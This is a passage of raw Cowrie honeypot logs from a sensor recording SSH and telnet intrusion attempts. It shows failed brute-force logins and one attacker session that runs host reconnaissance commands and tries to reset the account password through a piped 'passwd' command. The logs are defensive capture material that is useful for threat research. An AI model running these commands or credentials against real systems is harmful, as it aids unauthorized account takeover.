d25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:32.061419Z","src_ip":"4.213.160.153","session":"d0ad49ba44c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:32.852611Z","src_ip":"4.213.160.153","session":"d0ad49ba44c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:34.046294Z","src_ip":"4.213.160.153","session":"d0ad49ba44c9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:34.292103Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:34.295856Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:34.528774Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:34.943284Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"sysadmin\\nLRhp70dPnWW9\\nLRhp70dPnWW9\"|passwd|bash","message":"CMD: echo -e \"sysadmin\\nLRhp70dPnWW9\\nLRhp70dPnWW9\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:34.946403Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:34.949393Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:34.952711Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/17dc75112519b195b7b2f8ef4382e02d44c309d7c3b4d9fbe123c4c8af33e9c4","size":32,"shasum":"17dc75112519b195b7b2f8ef4382e02d44c309d7c3b4d9fbe123c4c8af33e9c4","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/17dc75112519b195b7b2f8ef4382e02d44c309d7c3b4d9fbe123c4c8af33e9c4 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:35.142342Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:35.590105Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"sysadmin\\nLRhp70dPnWW9\\nLRhp70dPnWW9\\n\"|passwd","message":"CMD: echo \"sysadmin\\nLRhp70dPnWW9\\nLRhp70dPnWW9\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:35.594480Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a2af53e1317c1074765eaf8a8f6bec814cdac3be7afe0d65ee7bd1e16d8d582f","size":25,"shasum":"a2af53e1317c1074765eaf8a8f6bec814cdac3be7afe0d65ee7bd1e16d8d582f","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a2af53e1317c1074765eaf8a8f6bec814cdac3be7afe0d65ee7bd1e16d8d582f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:35.786372Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:36.252534Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:36.256819Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:36.448895Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:36.868415Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:36.871683Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:37.060009Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:37.492820Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:37.496271Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:37.499511Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:37.689809Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:38.108865Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:38.112331Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:38.299860Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:38.710349Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:38.713928Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:38.902522Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:39.320996Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:39.325265Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:39.513883Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:39.930396Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:39.934093Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:40.123340Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.201.83.165","src_port":53076,"dst_ip":"159.203.135.109","dst_port":23,"session":"8485622fc54d","protocol":"telnet","message":"New connection: 80.201.83.165:53076 (159.203.135.109:23) [session: 8485622fc54d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:40.279114Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:40.539756Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:40.543460Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:40.732669Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:41.148800Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:41.152249Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:41.340340Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:41.756403Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:41.759894Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:41.947860Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:42.354929Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:42.358165Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:42.545547Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:42.966692Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:42.971346Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:43.160713Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:43.583272Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:43.586843Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:43.776243Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.6","message":"Connection lost after 16.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:43.781861Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.559007406234741,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:43.837982Z","src_ip":"80.201.83.165","session":"8485622fc54d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":57078,"dst_ip":"159.203.135.109","dst_port":22,"session":"441bb7d001d5","protocol":"ssh","message":"New connection: 36.93.249.106:57078 (159.203.135.109:22) [session: 441bb7d001d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:44.091436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:44.097814Z","src_ip":"36.93.249.106","session":"441bb7d001d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:44.375174Z","src_ip":"36.93.249.106","session":"441bb7d001d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"password","message":"login attempt [dev/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:45.513582Z","src_ip":"36.93.249.106","session":"441bb7d001d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:46.794002Z","src_ip":"36.93.249.106","session":"441bb7d001d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":14367,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7a8b7288975","protocol":"ssh","message":"New connection: 185.9.193.111:14367 (159.203.135.109:22) [session: f7a8b7288975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:52.113905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:52.121083Z","src_ip":"185.9.193.111","session":"f7a8b7288975","protocol":"ssh"}
